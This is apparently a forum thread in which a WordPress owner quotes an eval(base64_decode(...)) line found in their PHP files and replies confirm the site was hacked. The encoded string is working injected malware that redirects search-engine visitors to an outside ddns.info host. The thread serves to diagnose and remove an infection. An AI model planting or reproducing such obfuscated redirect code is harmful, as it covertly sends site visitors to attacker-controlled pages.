I tried to edit some of my wordpress php file. All the files(All WordPress sites) I downloaded from my server are written like
eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikgYW5kICFzdHJzdHIoJHVhZywiRmlyZWZveC8zLiIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlci4iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInQuY28vIikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpIG9yIChwcmVnX21hdGNoICgiL2h0dHBzOlwvXC93d3cuZ29vZ2xlXC4oLio/KVwvLyIsJHJlZmVyZXIpIGFuZCBzdHJzdHIoJHVhZywiQ2hyb21lLyIpKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiRWVZcDNENyIpKXsKaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL29wd25na2EuZGRucy5pbmZvLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));
Are all my sites hacked? They are all looking the same in my browser.
YES! Your server was hacked
eval executes whatever code is passed as parameter, which is base64 encoded so you can’t understand what the code is doing unless you decode it by hand.
I had the same issue on my server. 2 of my wordpress websites had files with content similar to the one you posted. I decoded the text and it was a script to read files from my server (similar to FTP), read my databases (similar to PHPMyAdmin), and execute commands on my server. I ran a antivirus scan and removed them (several 100’s stored in cache folder in a bad constructed theme). You can delete these files by hand.